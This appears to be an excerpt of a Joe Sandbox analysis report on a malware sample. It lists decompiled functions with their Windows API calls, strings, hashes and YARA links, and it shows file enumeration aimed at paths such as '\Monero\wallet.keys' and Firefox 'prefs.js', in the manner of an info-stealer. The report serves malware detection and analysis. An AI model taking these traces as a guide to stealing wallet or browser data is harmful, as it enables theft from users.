Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 1a4724820192dff018d151a69397fd339d6e748aa5279ba3076b4a632488a8dc
Instruction ID: 78fc735b6ace992c67b08d689b94c499c69758d53faaadf73f85c9bc69124622
Opcode Fuzzy Hash: 1a4724820192dff018d151a69397fd339d6e748aa5279ba3076b4a632488a8dc
Instruction Fuzzy Hash: E56144B1900218ABCB24EBA0DC49EEA73BDBB49704F04859CB549A6141EF75DB45CF91

Function 00694570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00694580
RtlAllocateHeap.NTDLL(00000000), ref: 00694587
wsprintfA.USER32 ref: 006945A6
FindFirstFileA.KERNEL32(?,?), ref: 006945BD
StrCmpCA.SHLWAPI(?,006A0FC4), ref: 006945EB
StrCmpCA.SHLWAPI(?,006A0FC8), ref: 00694601
FindNextFileA.KERNEL32(000000FF,?), ref: 0069468B
FindClose.KERNEL32(000000FF), ref: 006946A0
lstrcat.KERNEL32(?,0148E848), ref: 006946C5
lstrcat.KERNEL32(?,0148DA40), ref: 006946D8
lstrlen.KERNEL32(?), ref: 006946E5
lstrlen.KERNEL32(?), ref: 006946F6

Strings

%s\%s, xrefs: 0069461B
%s\*, xrefs: 0069459A

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 3d7351b8f0803406705d14128c1727d51688b41c3b1b8b1bbc744cba8065dcfd
Instruction ID: c6b91625debfb2830a9a7990ccbcb1ccf4af48b1a25618ae5ece774eb695e75e
Opcode Fuzzy Hash: 3d7351b8f0803406705d14128c1727d51688b41c3b1b8b1bbc744cba8065dcfd
Instruction Fuzzy Hash: 7F5153B190021CAFCB64EBB0DC89FE9737DBB58304F404598F64996190EF759B858FA2

Function 00693EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00693EC3
FindFirstFileA.KERNEL32(?,?), ref: 00693EDA
StrCmpCA.SHLWAPI(?,006A0FAC), ref: 00693F08
StrCmpCA.SHLWAPI(?,006A0FB0), ref: 00693F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0069406C
FindClose.KERNEL32(000000FF), ref: 00694081

Strings

%s\%s, xrefs: 00693EB7

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: ce715a5ef81cb4a2634684fe95228f02fe91160028b7274a9921a74719031d4f
Instruction ID: 68bebdad48561e918c3516fb6c1c47a0b03ae3b0a3cd90fcae18f1bf441d0325
Opcode Fuzzy Hash: ce715a5ef81cb4a2634684fe95228f02fe91160028b7274a9921a74719031d4f
Instruction Fuzzy Hash: ED5154B2900218AFCF24FBB0DC85EEA737DBB44304F00459CB65996140EB759B868F95

Function 0068ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0068ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0068ED55
StrCmpCA.SHLWAPI(?,006A1538), ref: 0068EDAB
StrCmpCA.SHLWAPI(?,006A153C), ref: 0068EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0068F2AE
FindClose.KERNEL32(000000FF), ref: 0068F2C3

Strings

%s\*.*, xrefs: 0068ED32

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: e5ecc11ffa6ab2c8ff5bba05dfe4643207672dba11c1be2dd30eb6eb72e93c93
Instruction ID: 7ec0505d578a628fd99a90c892ebf4b41794f6dc4735573eb5edc745c2fc6655
Opcode Fuzzy Hash: e5ecc11ffa6ab2c8ff5bba05dfe4643207672dba11c1be2dd30eb6eb72e93c93
Instruction Fuzzy Hash: 0AE1F4719211189ADF94FBA0CD52EEE737EAF54300F40419DB50A66492EF306F8ACF96

Function 0068F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006A15B8,006A0D96), ref: 0068F71E
StrCmpCA.SHLWAPI(?,006A15BC), ref: 0068F76F
StrCmpCA.SHLWAPI(?,006A15C0), ref: 0068F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0068FAB1
FindClose.KERNEL32(000000FF), ref: 0068FAC3

Strings

prefs.js, xrefs: 0068F812

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: a4af25c3c67c405287bddf11c2dfa52b9740d175dcb501c6457d8a1d11698648
Instruction ID: 021593f021a61d71e557ff09b409c22fb31e927ab00fb4b9c7473a6f00cb5716
Opcode Fuzzy Hash: a4af25c3c67c405287bddf11c2dfa52b9740d175dcb501c6457d8a1d11698648
Instruction Fuzzy Hash: BBB132719101189BDF64FBA0DD56AED73BEAF54300F4086ACA40A9A541EF306B49CFD6

Function 006816D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006A510C,?,?,?,006A51B4,?,?,00000000,?,00000000), ref: 00681923
StrCmpCA.SHLWAPI(?,006A525C), ref: 00681973
StrCmpCA.SHLWAPI(?,006A5304), ref: 00681989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00681D40
DeleteFileA.KERNEL32(00000000), ref: 00681DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00681E20
FindClose.KERNEL32(000000FF), ref: 00681E32

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Strings

\*.*, xrefs: 006817F1

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: cb6631caf2b846da3fdc980ac8c66782e9073ab779c150603b5b179b445cf4a2
Instruction ID: dd5abab29a256707da7e3d01b0d806f1a0b2d88a2566d3903675d3c9eb215ac1
Opcode Fuzzy Hash: cb6631caf2b846da3fdc980ac8c66782e9073ab779c150603b5b179b445cf4a2
Instruction Fuzzy Hash: B5122E719211189BCF59FBA0CD96AEE73BEAF14300F40419DA50A66491EF306F8ACFD5

Function 0068DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,006A0C2E), ref: 0068DE5E
StrCmpCA.SHLWAPI(?,006A14C8), ref: 0068DEAE
StrCmpCA.SHLWAPI(?,006A14CC), ref: 0068DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0068E3E0
FindClose.KERNEL32(000000FF), ref: 0068E3F2

Strings

\*.*, xrefs: 0068DE26

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 27be54cd596a04bf5d78b3720b56190260bae21bee2d7fa1c0df762fd046d4a5
Instruction ID: a064995e11bd5dcad4dca91cc9772bf8e2f66b664f196283bacb1ed496496c92
Opcode Fuzzy Hash: 27be54cd596a04bf5d78b3720b56190260bae21bee2d7fa1c0df762fd046d4a5
Instruction Fuzzy Hash: A2F19E718201289ADF59FBA0CD95EEE73BEBF15300F40419DA40A66491EF306F4ACFA5

Function 0068DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006A14B0,006A0C2A), ref: 0068DAEB
StrCmpCA.SHLWAPI(?,006A14B4), ref: 0068DB33
StrCmpCA.SHLWAPI(?,006A14B8), ref: 0068DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0068DDCC
FindClose.KERNEL32(000000FF), ref: 0068DDDE

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 433a8be4990543e0293c4f55639242e6fe8223f37f1bfbd6e7803fd38c0e559f
Instruction ID: 1885f702fde1be2ad21e59c5c9d8e0cb1d97975ab39737c25087decee4ae7074
Opcode Fuzzy Hash: 433a8be4990543e0293c4f55639242e6fe8223f37f1bfbd6e7803fd38c0e559f
Instruction Fuzzy Hash: 9B91247691010897CF54FBF0ED56DED73BEAB84304F40865CF90A9A581EE349B098BE6

Function 00697B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

GetKeyboardLayoutList.USER32(00000000,00000000,006A05AF), ref: 00697BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00697BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00697C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00697C62
LocalFree.KERNEL32(00000000), ref: 00697D22

Strings

/ , xrefs: 00697C7F

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: f2e8da10a320f7758b08bafbb040c12d5f01138541f0c4a651e4727cbbb318bb
Instruction ID: 24adfabde122e360de14caccf88316785634ff75ce80814485fccab7ed03b875
Opcode Fuzzy Hash: f2e8da10a320f7758b08bafbb040c12d5f01138541f0c4a651e4727cbbb318bb
Instruction Fuzzy Hash: A9416C71911218ABDF24DB94DC99FEEB3B9FF44700F204199E00962680DB342F86CFA5

Function 00A4A8BB Relevance: 10.4, Strings: 7, Instructions: 1649COMMON

Download Yara Rule

Strings

?k}?, xrefs: 00A4B07D
3Afv, xrefs: 00A4BAC6
!\K[, xrefs: 00A4B2B1
v>v}, xrefs: 00A4A994
`QP, xrefs: 00A4AC7F
%\K[, xrefs: 00A4B2AB
5~u, xrefs: 00A4B497

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !\K[$%\K[$3Afv$5~u$?k}?$v>v}$`QP
API String ID: 0-2883981944
Opcode ID: 92415575f6d2ae4c253f5c5d5115dac083ded847b47c8f91f9c338647531e6f3
Instruction ID: 47c11132d97b80d5bf6aa092d05761b5896a37bda55f36745b8d2e2598ec9486
Opcode Fuzzy Hash: 92415575f6d2ae4c253f5c5d5115dac083ded847b47c8f91f9c338647531e6f3
Instruction Fuzzy Hash: F4B228F3A082049FE3046E2DEC8577ABBE5EFD4720F1A453DE6C4C7744EA3598018696

Function 0068E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

